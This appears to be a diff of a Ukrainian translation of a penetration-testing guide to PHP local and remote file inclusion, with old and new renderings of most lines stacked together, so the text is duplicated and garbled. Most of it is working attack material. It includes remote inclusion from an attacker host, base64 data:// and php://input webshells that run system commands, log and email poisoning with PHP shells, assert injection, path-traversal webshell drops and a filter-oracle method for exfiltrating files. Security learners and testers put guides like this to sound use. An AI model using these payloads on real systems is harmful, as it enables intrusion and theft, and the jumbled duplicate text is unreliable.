- **Starting with a Fake Directory**: Поширеною практикою є починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як пересторога або щоб задовольнити вимоги логіки розбору шляху сервером.
- **Using Dot Segments and Additional Characters**: traversal sequences (`../`) у поєднанні з додатковими dot segments та символами можна використовувати для навігації файловою системою, ефективно ігноруючи сервером додані рядки.
- **Determining the Required Number of Traversals**: Через метод спроб і помилок можна знайти точну кількість traversal sequences (`../`) необхідних для переходу до кореневого каталогу, а потім до `/etc/passwd`, гарантуючи, що будь-які додані рядки (наприклад, `.php`) нейтралізовані, але бажаний шлях (`/etc/passwd`) залишається незмінним.
- **Starting with a Fake Directory**: Загальною практикою є починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляху сервера.
When employing path truncation techniques, важливо розуміти поведінку парсера шляху сервера та структуру файлової системи. Кожен сценарій може вимагати різного підходу, і часто необхідне тестування, щоб знайти найефективніший метод.
When employing path truncation techniques, важливо розуміти поведінку парсингу шляху сервером і структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто необхідне тестування, щоб знайти найефективніший метод.
**Ця вразливість була виправлена в PHP 5.3.**
**Ця уразливість була виправлена в PHP 5.3.**
### **Filter bypass tricks**
```
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
У php це вимкнено за замовчуванням, тому що **`allow_url_include`** встановлено як **Off.** Воно має бути **On**, щоб працювати, і в такому випадку ви можете включити PHP файл з вашого сервера та отримати RCE:
У php це вимкнено за замовчуванням, бо **`allow_url_include`** встановлено в **Off.** Воно має бути **On**, щоб це працювало, і в такому випадку ви можете include PHP файл зі свого сервера і отримати RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Якщо з якоїсь причини **`allow_url_include`** встановлено в **On**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви, наприклад, можете використати data protocol з base64, щоб декодувати b64 PHP code і egt RCE:
Якщо з якоїсь причини **`allow_url_include`** є **On**, але PHP **filtering** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати протокол data з base64, щоб декодувати b64 PHP-код і отримати RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> У попередньому коді фінальний `+.txt` було додано, бо атакуючому потрібен був рядок, який закінчується на `.txt`, тож рядок завершується ним і після b64 decode ця частина поверне лише сміття, а реальний PHP код буде включено (і, отже, виконано).
>
> Ще один приклад **not using the `php://` protocol**:
> У попередньому коді фінальний `+.txt` було додано, бо зловмиснику потрібен був string, який закінчувався на `.txt`, тож string завершується ним, і після b64 decode ця частина поверне лише junk, а справжній PHP code буде включено (і, отже, виконано).
Ще один приклад **без використання протоколу `php://`** буде:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python кореневий елемент
У python у коді на кшталт цього:
У Python у коді, як у цьому:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Якщо користувач передає **absolute path** до **`file_name`**, **previous path is just removed**:
Якщо користувач передає **абсолютний шлях** до **`file_name`**, **попередній шлях просто видаляється**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються, і об'єднання продовжується з абсолютного компоненту шляху.
> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються і об'єднання продовжується з компонента абсолютного шляху.
## Java — перелік директорій
## Java Перелік директорій
Схоже, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, повертається **перелік вмісту директорії**. Це не відбувається в інших мовах (наскільки мені відомо).
Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається список вмісту директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо).
## Топ 25 параметрів
## Топ-25 параметрів
Ось список топ 25 параметрів, які можуть бути вразливі до local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI за допомогою PHP обгорток та протоколів
### php://filter
PHP filters allow perform basic **modification operations on the data** before being it's read or written. Існує 5 категорій фільтрів:
PHP filters дозволяють виконувати базові **операції модифікації над даними** перед тим, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Видаляє теги з даних (все, що між символами "<" і ">")
- `string.strip_tags`: Видаляє теги з даних (усе між символами "<" і ">")
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Перетворює в інше кодування (`convert.iconv.<input_enc>.<output_enc>`). Щоб отримати **список всіх кодувань**, що підтримуються, запустіть у консолі: `iconv -l`
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
> [!WARNING]
> Зловживаючи фільтром конверсії `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисним для запису довільного тексту або для того, щоб функція типу include опрацювала довільний текст. Для докладнішої інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> Зловживаючи фільтром конвертації `convert.iconv.*`, ви можете **згенерувати довільний текст**, що може бути корисно для запису довільного тексту або змусити функцію, наприклад include, обробляти довільний текст. Для детальнішої інформації див. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Стискає вміст (корисно при екфільтрації великої кількості даних)
- `zlib.inflate`: Розпаковує дані
- `zlib.deflate`: Стискає вміст (корисно if exfiltrating a lot of info)
- `zlib.inflate`: Decompress the data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Застаріле
- `mdecrypt.*` : Застаріле
- `mcrypt.*` : Deprecated
- `mdecrypt.*` : Deprecated
- Other Filters
- Запустивши в php `var_dump(stream_get_filters());` ви можете знайти кілька **неочікуваних фільтрів**:
- Running in php `var_dump(stream_get_filters());` you can find a couple of **unexpected filters**:
- `consumed`
- `dechunk`: зворотно декодує HTTP chunked encoding
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -275,19 +275,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Використання php filters як oracle для читання довільних файлів
[**У цьому дописі**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку читання локального файлу без повернення його вмісту від сервера. Ця техніка базується на **булевій ексфільтрації файлу (по символу) з використанням php filters як oracle**. Це можливо, оскільки php filters можуть бути використані для збільшення тексту настільки, щоб php кинув виняток.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) запропоновано техніку для читання локального файлу без повернення його вмісту сервером. Ця техніка базується на **булевій ексфільтрації файлу (символ за символом) з використанням php filters** як oracle. Це можливо, бо php filters можна використати, щоб зробити текст настільки великим, що php викине виняток.
В оригінальному дописі є детальне пояснення техніки, а тут — швидкий підсумок:
У оригінальному дописі можна знайти детальне пояснення техніки, але ось коротке резюме:
- Використовуйте кодек **`UCS-4LE`** щоб залишити провідний символ тексту на початку та змусити довжину рядка зростати експоненційно.
- Це використовується, щоб згенерувати **дуже великий текст, коли початкову літеру вгадано правильно**, внаслідок чого php викличе **помилку**.
- Фільтр **dechunk** **видалить усе, якщо перший символ не є hex**, тому ми можемо дізнатися, чи перший символ — hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить нам вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості трансформацій вона перестане бути hex-символом. Бо якщо вона hex, dechunk її не видалить, а початкова бомба спричинить помилку php.
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (тобто після застосування кодека: a -> b). Це дозволяє визначити, чи перша літера, наприклад, `a`, бо якщо застосувати цей кодек 6 разів: a->b->c->d->e->f->g, літера перестане бути hex-символом, отже dechunk її не видаляє і виникає помилка php через множення з початковою бомбою.
- Використовуючи інші трансформації, такі як **rot13** на початку, можливо leak інші символи, наприклад n, o, p, q, r (і інші кодеки можна використати, щоб зсунути інші літери в hex-діапазон).
- Використовуйте кодек **`UCS-4LE`**, щоб розмістити ведучий символ тексту на початку і змусити розмір рядка зростати експоненційно.
- Це використовується для створення **тексту настільки великого, коли початкова літера вгадана правильно**, що php спровокує **помилку**.
- Фільтр **dechunk** **видалить все, якщо перший символ не є шістнадцятковим**, тож ми можемо дізнатися, чи перший символ є hex.
- Це, у поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери), дозволить вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості перетворень вона перестане бути шістнадцятковим символом. Адже якщо вона є hex, dechunk її не видалить і початкова «бомба» спричинить помилку php.
- Кодек **convert.iconv.UNICODE.CP930** перетворює кожну літеру на наступну (наприклад a -> b). Це дозволяє визначити, чи перша літера — `a`: якщо застосувати цей кодек 6 разів (a->b->c->d->e->f->g), літера перестане бути шістнадцятковим символом, тому dechunk її не видалить і помилка php буде викликана через множення з початковою «бомбою».
- Використовуючи інші перетворення, такі як **rot13**, на початку, можливо leak інших символів, наприклад n, o, p, q, r (інші кодеки можуть бути використані, щоб перемістити інші літери в hex-діапазон).
- Коли початковий символ — число, потрібно закодувати його в base64 і leak перші 2 літери, щоб leak число.
- Остаточна проблема — зрозуміти **як leak більше, ніж початкова літера**. Використовуючи фільтри, що змінюють порядок байтів, наприклад **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можна змінити порядок символів і помістити в першу позицію інші літери тексту.
- І щоб мати змогу отримати **further data** ідея полягає в тому, щоб **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE** щоб воно **pivot with the next 2 bytes**, та d**elete the data until the junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, доки не досягнете бажаного біта для leak.
- Остаточна проблема — зрозуміти **як leak більше, ніж початкова літера**. Використовуючи фільтри, що змінюють порядок байтів, такі як **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, можна змінити порядок символів і отримати в першій позиції інші літери тексту.
- І щоб мати змогу отримувати **further data** ідея полягає в **generate 2 bytes of junk data at the beginning** за допомогою **convert.iconv.UTF16.UTF16**, застосувати **UCS-4LE**, щоб **pivot with the next 2 bytes**, і **видалити дані до junk data** (це видалить перші 2 байти початкового тексту). Продовжуйте робити це, поки не досягнете потрібного біта для leak.
У дописі також було опубліковано інструмент для автоматизації: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
You can also use **php://stdin, php://stdout and php://stderr** to access the **file descriptors 0, 1 and 2** respectively (не зовсім зрозуміло, як це може бути корисно в атаці)
Ви також можете використовувати **php://stdin, php://stdout and php://stderr** для доступу до **file descriptors 0, 1 and 2** відповідно (не впевнений, як це може бути корисним у атаці)
### zip:// and rar://
Завантажте Zip або Rar файл з PHPShell всередині і отримайте до нього доступ.\
Щоб мати змогу зловживати rar protocol, його **потрібно спеціально активувати**
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.\
Щоб мати можливість зловживати протоколом rar, його **потрібно спеціально активувати**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Зверніть увагу, що цей протокол обмежений конфігураціями php **`allow_url_open`** і **`allow_url_include`**
Зауважте, що цей протокол обмежується конфігураціями php **`allow_url_open`** та **`allow_url_include`**
### expect://
Expect має бути активовано. Ви можете виконати код за допомогою цього:
Expect має бути активований. Ви можете виконати код за допомогою цього:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
Вкажіть ваш payload у параметрах POST:
Вкажіть свій payload у POST-параметрах:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Файл `.phar` може бути використаний для виконання PHP-коду, коли веб-застосунок використовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`:
Файл `.phar` може використовуватися для виконання PHP-коду, коли веб-додаток застосовує функції, такі як `include`, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -354,22 +354,16 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Щоб скомпілювати файл `.phar`, потрібно виконати таку команду:
Щоб скомпілювати файл `.phar`, слід виконати наступну команду:
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
Після виконання буде створено файл з ім'ям `test.phar`, який потенційно може бути використаний для експлуатації Local File Inclusion (LFI) вразливостей.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
У випадках, коли LFI лише читає файл без виконання PHP-коду всередині, через такі функції, як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов'язана з читанням файлів через протокол `phar`.
У випадку, якщо LFI лише читає файл без виконання PHP-коду всередині, через функції такі як `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, або `filesize()`, можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов’язана з читанням файлів за допомогою протоколу `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
Для детального розуміння експлуатації вразливостей десеріалізації у контексті `.phar` файлів, зверніться до документу, наведеного нижче:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -380,96 +374,73 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
Було можливо зловживати **any arbitrary file read from PHP that supports php filters**, щоб отримати RCE. Детальний опис можна [**знайти в цьому дописі**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Короткий підсумок: **3 byte overflow** в PHP heap був використаний, щоб **змінити ланцюг вільних чанків** певного розміру з метою мати змогу **записати будь-що за будь-якою адресою**, тому додали хук для виклику **`system`**.\
Було можливо алокувати чанки певних розмірів, зловживаючи додатковими php filters.
Дуже короткий підсумок: **3 byte overflow** в купі PHP було використано для **зміни ланцюжка вільних чанків** конкретного розміру, щоб мати змогу **записати будь-що в будь-яку адресу**, тому був доданий хук, який викликає **`system`**.\
Було можливо алокувати чанки конкретних розмірів, зловживаючи додатковими php filters.
### More protocols
Інші протоколи
Перевірте більше можливих [ **протоколів для включення тут**](https://www.php.net/manual/en/wrappers.php)**:**
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Перегляньте більше можливих [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам'ять або у тимчасовий файл (не впевнений, як це може бути корисно в a file inclusion attack)
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Запис у пам’ять або у тимчасовий файл (не впевнений, як це може бути корисним у file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Доступ до локальної файлової системи
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL-ів
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL-ів
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Доступ до HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Доступ до FTP(s) URL
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Потоки стиснення
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Знаходить імена шляхів, що відповідають шаблону (Він не повертає нічого придатного для виводу, тому тут не дуже корисний)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Пошук імен шляхів, що відповідають шаблону (не повертає нічого придатного для виводу, тож не надто корисний тут)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисно для читання довільних файлів)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Аудіопотоки (не корисний для читання довільних файлів)
## LFI via PHP's 'assert'
## LFI через PHP 'assert'
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
Ризики Local File Inclusion (LFI) у PHP особливо високі при роботі з функцією 'assert', яка може виконувати код у рядках. Це особливо проблематично, якщо введення, що містить символи directory traversal, такі як "..", перевіряється, але не належним чином санітизоване.
Ризики LFI в PHP особливо високі при роботі з функцією 'assert', яка може виконувати код в межах рядків. Це особливо проблематично, якщо ввод, що містить символи для directory traversal, такі як "..", перевіряється, але не очищується належним чином.
For example, PHP code might be designed to prevent directory traversal like so:
Наприклад, PHP-код може бути спроектований, щоб запобігти directory traversal таким чином:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб використати це для читання вмісту файлу, зловмисник може використати:
Хоча це спрямовано на зупинення traversal, воно ненавмисно створює вектор для code injection. Щоб експлуатувати це для читання вмісту файлу, нападник може використати:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Аналогічно, для виконання довільних системних команд можна використовувати:
Аналогічно, для виконання довільних системних команд можна використати:
```plaintext
' and die(system("id")) or '
```
Важливо **URL-encode these payloads**.
It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Ця техніка застосовна у випадках, коли ви **контролюєте** **file path** для **PHP function**, яка буде **access a file**, але ви не побачите вміст файлу (наприклад простий виклик **`file()`**), хоча вміст не показується.
> Ця техніка актуальна в випадках, коли ви **контролюєте** **file path** для **PHP function**, яка **access a file**, але ви не бачитимете вміст файлу (наприклад простий виклик **`file()`**)і вміст не показується.
У [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) пояснюється, як blind path traversal може бути зловживано через PHP filter щоб **exfiltrate the content of a file via an error oracle**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
У короткому підсумку, техніка використовує кодування **"UCS-4LE"** щоб зробити вміст файлу настільки **великим**, що **PHP function**, яка відкриває файл, викличе **помилку**.
У підсумку, техніка використовує кодування **"UCS-4LE"** щоб зробити вміст файлу таким **великим**, що **PHP function**, яка відкриває файл, викличе **error**.
Потім, щоб leak перший символ, використовується фільтр `dechunk` разом з іншими, такими як `base64` або `rot13`, і нарешті фільтри `convert.iconv.UCS-4.UCS-4LE` та `convert.iconv.UTF16.UTF-16BE` використовуються, щоб розмістити інші символи на початку та leak їх.
Далі, щоб leak перший символ, фільтр **`dechunk`** використовується разом з іншими (наприклад **base64** або **rot13**), а в кінці фільтри **convert.iconv.UCS-4.UCS-4LE** та **convert.iconv.UTF16.UTF-16BE** застосовуються, щоб **place other chars at the beggining and leak them**.
**Функції, які можуть бути вразливими**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Для технічних деталей див. згадану публікацію!
For the technical details check the mentioned post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Коли серверний код, який приймає/завантажує файли, будує шлях призначення, використовуючи дані під контролем користувача (наприклад, filename або URL) без канонізації та валідації, сегменти `..` та абсолютні шляхи можуть вийти за межі планованого каталогу і спричинити arbitrary file write. Якщо ви можете розмістити payload під web-exposed директорією, зазвичай ви отримуєте unauthenticated RCE, завантаживши webshell.
Коли серверний код, який приймає/завантажує файли, будує destination path з використанням даних, контрольованих користувачем (наприклад filename або URL), без нормалізації та валідації, сегменти `..` та absolute paths можуть вийти за межі призначеної директорії й спричинити arbitrary file write. Якщо ви можете помістити payload у веб-доступну директорію, зазвичай ви отримуєте unauthenticated RCE, скинувши webshell.
Типовий робочий процес експлуатації:
- Виявити write primitive в endpoint або background worker, який приймає path/filename і пише вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначити web-exposed directories. Типові приклади:
- Знайти write primitive в endpoint або background worker, який приймає path/filename і записує контент на диск (наприклад message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначити веб-доступні директорії. Поширені приклади:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Скласти traversal path, який вийде з наміреного storage directory в webroot, і включити в нього вміст webshell.
- Відкрити завантажений payload у браузері та виконувати команди.
- Зконструювати traversal path, який виходить із призначеної директорії зберігання в webroot, і включити в нього ваш webshell content.
- Перейти до скинутого payload і виконати команди.
Примітки:
- Вразлива служба, що виконує запис, може слухати на non-HTTP port (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інакший порт) пізніше віддаватиме ваш payload.
- На Java стеку ці записи файлів часто реалізовані простим конкатенуванням `File`/`Paths`. Відсутність canonicalisation/allow-listing — основний недолік.
Notes:
- Уразливий сервіс, який виконує запис, може слухати на non-HTTP порту (наприклад JMF XML listener on TCP 4004). Головний веб-портал (інший порт) пізніше віддаватиме ваш payload.
- На Java-стеках ці записи файлів часто реалізовані простим конкатенуванням `File`/`Paths`. Відсутність нормалізації/allow-listing — основний недолік.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -495,25 +466,25 @@ in.transferTo(out);
</Command>
</JMF>
```
Захист, що усуває цей клас вразливостей:
- Вирішувати до канонічного шляху і гарантувати, що він є нащадком базового каталогу зі списку дозволених.
- Відхиляти будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавати перевагу згенерованим іменам файлів.
- Запускати writer від імені облікового запису з низькими правами й відокремити каталоги для запису від коренів, що обслуговуються.
Заходи жорсткого захисту, що усувають цей клас вразливостей:
- Нормалізуйте шлях до канонічної форми і переконайтеся, що він є нащадком дозволеної базової директорії.
- Відкидайте будь-який шлях, що містить `..`, абсолютні корені або літери дисків; віддавайте перевагу згенерованим іменам файлів.
- Запускайте процес запису від імені облікового запису з низькими правами та розділяйте директорії для запису від коренів, які обслуговуються.
## Remote File Inclusion
Пояснювалося раніше, [**follow this link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
Якщо сервер Apache або Nginx є **вразливим до LFI** всередині функції include, ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, помістити в **user agent** або в **GET parameter** php shell на кшталт **`<?php system($_GET['c']); ?>`** і включити цей файл
Якщо сервер Apache або Nginx є **вразливим до LFI** у функції include, можна спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, помістити у **user agent** або в **GET параметр** php-shell на кшталт **`<?php system($_GET['c']); ?>`** і підключити цей файл
> [!WARNING]
> Зауважте, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** і **нічого іншого виконано не буде**.
> Зауважте, що **якщо ви використовуєте подвійні лапки** для шеллу замість **одинарних лапок**, подвійні лапки будуть змінені для рядка "_**quote;**_", **PHP кине помилку** і **нічого іншого не буде виконано**.
>
> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде видавати помилку щоразу при спробі завантажити файл логів, і у вас не буде другої можливості.
> Також переконайтеся, що ви **правильно записали payload**, інакше PHP буде видавати помилку щоразу при спробі завантажити лог-файл і у вас не буде другої можливості.
Це також можна зробити в інших логах, але **будь обережні,** код всередині логів може бути URL encoded і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і він декодується в логах. PHPShell можна вставити в цей заголовок.\
Це також можна зробити в інших логах, але **обережно,** код у логах може бути URL-кодований і це може зруйнувати Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64 і декодується у логах. PHPShell можна вставити всередину цього заголовку.\
Інші можливі шляхи логів:
```python
/var/log/apache2/access.log
@ -528,39 +499,39 @@ in.transferTo(out);
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Через Email
### Через електронну пошту
**Надішліть лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити пошту користувача, використовуючи шлях на кшталт **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
**Відправте лист** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте зробити include пошти користувача за шляхом, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
### Через /proc/\*/fd/\*
1. Завантажте велику кількість shells (наприклад: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute forced) і $FD — файловий дескриптор (також можна brute forced)
2. Зробіть include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна brute force), а $FD — file descriptor (також можна brute force)
### Через /proc/self/environ
Як у лог-файлі, відправте payload у User-Agent — він буде відображений у файлі /proc/self/environ
Як із лог-файлом, відправте payload у User-Agent — він відобразиться в файлі /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Через завантаження
### Via upload
Якщо ви можете завантажити файл, просто інжектуйте shell payload у нього (наприклад: `<?php system($_GET['c']); ?>`).
Якщо ви можете upload файл, просто inject shell payload у нього (наприклад: `<?php system($_GET['c']); ?>`).
```
